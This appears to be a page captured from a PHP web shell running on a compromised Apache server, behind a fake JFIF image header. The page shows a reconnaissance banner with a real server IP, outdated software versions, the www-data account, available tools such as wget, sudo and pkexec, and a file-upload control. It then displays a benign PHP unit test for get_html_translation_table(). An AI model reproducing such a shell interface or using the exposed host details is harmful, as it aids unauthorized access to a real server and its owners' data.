????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 216.73.216.170 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/b8009/php-5.6.22/ext/standard/tests/strings/ |
Upload File : |
--TEST-- Test get_html_translation_table() function : usage variations - unexpected table values --FILE-- <?php /* Prototype : array get_html_translation_table ( [int $table [, int $quote_style [, string charset_hint]]] ) * Description: Returns the internal translation table used by htmlspecialchars and htmlentities * Source code: ext/standard/html.c */ /* * test get_html_translation_table() with unexpected value for argument $table */ echo "*** Testing get_html_translation_table() : usage variations ***\n"; // initialize all required variables $quote_style = ENT_COMPAT; // get an unset variable $unset_var = 10; unset($unset_var); // a resource variable $fp = fopen(__FILE__, "r"); // array with different values $values = array ( // array values array(), array(0), array(1), array(1, 2), array('color' => 'red', 'item' => 'pen'), // boolean values true, false, TRUE, FALSE, // string values "string", 'string', // objects new stdclass(), // empty string "", '', // null vlaues NULL, null, // resource var $fp, // undefined variable @$undefined_var, // unset variable @$unset_var ); // loop through each element of the array and check the working of get_html_translation_table() // when $table argument is supplied with different values echo "\n--- Testing get_html_translation_table() by supplying different values for 'table' argument ---\n"; $counter = 1; for($index = 0; $index < count($values); $index ++) { echo "-- Iteration $counter --\n"; $table = $values [$index]; $v = get_html_translation_table($table, ENT_COMPAT, "UTF-8"); if (is_array($v) && count($v) > 100) var_dump(count($v)); elseif (is_array($v)) { asort($v); var_dump($v); } else { var_dump($v); } $v = get_html_translation_table($table, $quote_style, "UTF-8"); if (is_array($v) && count($v) > 100) var_dump(count($v)); elseif (is_array($v)) { asort($v); var_dump($v); } else { var_dump($v); } $counter ++; } // close resource fclose($fp); echo "Done\n"; ?> --EXPECTF-- *** Testing get_html_translation_table() : usage variations *** --- Testing get_html_translation_table() by supplying different values for 'table' argument --- -- Iteration 1 -- Warning: get_html_translation_table() expects parameter 1 to be long, array given in %s on line %d NULL Warning: get_html_translation_table() expects parameter 1 to be long, array given in %s on line %d NULL -- Iteration 2 -- Warning: get_html_translation_table() expects parameter 1 to be long, array given in %s on line %d NULL Warning: get_html_translation_table() expects parameter 1 to be long, array given in %s on line %d NULL -- Iteration 3 -- Warning: get_html_translation_table() expects parameter 1 to be long, array given in %s on line %d NULL Warning: get_html_translation_table() expects parameter 1 to be long, array given in %s on line %d NULL -- Iteration 4 -- Warning: get_html_translation_table() expects parameter 1 to be long, array given in %s on line %d NULL Warning: get_html_translation_table() expects parameter 1 to be long, array given in %s on line %d NULL -- Iteration 5 -- Warning: get_html_translation_table() expects parameter 1 to be long, array given in %s on line %d NULL Warning: get_html_translation_table() expects parameter 1 to be long, array given in %s on line %d NULL -- Iteration 6 -- int(252) int(252) -- Iteration 7 -- array(4) { ["&"]=> string(5) "&" [">"]=> string(4) ">" ["<"]=> string(4) "<" ["""]=> string(6) """ } array(4) { ["&"]=> string(5) "&" [">"]=> string(4) ">" ["<"]=> string(4) "<" ["""]=> string(6) """ } -- Iteration 8 -- int(252) int(252) -- Iteration 9 -- array(4) { ["&"]=> string(5) "&" [">"]=> string(4) ">" ["<"]=> string(4) "<" ["""]=> string(6) """ } array(4) { ["&"]=> string(5) "&" [">"]=> string(4) ">" ["<"]=> string(4) "<" ["""]=> string(6) """ } -- Iteration 10 -- Warning: get_html_translation_table() expects parameter 1 to be long, string given in %s on line %d NULL Warning: get_html_translation_table() expects parameter 1 to be long, string given in %s on line %d NULL -- Iteration 11 -- Warning: get_html_translation_table() expects parameter 1 to be long, string given in %s on line %d NULL Warning: get_html_translation_table() expects parameter 1 to be long, string given in %s on line %d NULL -- Iteration 12 -- Warning: get_html_translation_table() expects parameter 1 to be long, object given in %s on line %d NULL Warning: get_html_translation_table() expects parameter 1 to be long, object given in %s on line %d NULL -- Iteration 13 -- Warning: get_html_translation_table() expects parameter 1 to be long, string given in %s on line %d NULL Warning: get_html_translation_table() expects parameter 1 to be long, string given in %s on line %d NULL -- Iteration 14 -- Warning: get_html_translation_table() expects parameter 1 to be long, string given in %s on line %d NULL Warning: get_html_translation_table() expects parameter 1 to be long, string given in %s on line %d NULL -- Iteration 15 -- array(4) { ["&"]=> string(5) "&" [">"]=> string(4) ">" ["<"]=> string(4) "<" ["""]=> string(6) """ } array(4) { ["&"]=> string(5) "&" [">"]=> string(4) ">" ["<"]=> string(4) "<" ["""]=> string(6) """ } -- Iteration 16 -- array(4) { ["&"]=> string(5) "&" [">"]=> string(4) ">" ["<"]=> string(4) "<" ["""]=> string(6) """ } array(4) { ["&"]=> string(5) "&" [">"]=> string(4) ">" ["<"]=> string(4) "<" ["""]=> string(6) """ } -- Iteration 17 -- Warning: get_html_translation_table() expects parameter 1 to be long, resource given in %s on line %d NULL Warning: get_html_translation_table() expects parameter 1 to be long, resource given in %s on line %d NULL -- Iteration 18 -- array(4) { ["&"]=> string(5) "&" [">"]=> string(4) ">" ["<"]=> string(4) "<" ["""]=> string(6) """ } array(4) { ["&"]=> string(5) "&" [">"]=> string(4) ">" ["<"]=> string(4) "<" ["""]=> string(6) """ } -- Iteration 19 -- array(4) { ["&"]=> string(5) "&" [">"]=> string(4) ">" ["<"]=> string(4) "<" ["""]=> string(6) """ } array(4) { ["&"]=> string(5) "&" [">"]=> string(4) ">" ["<"]=> string(4) "<" ["""]=> string(6) """ } Done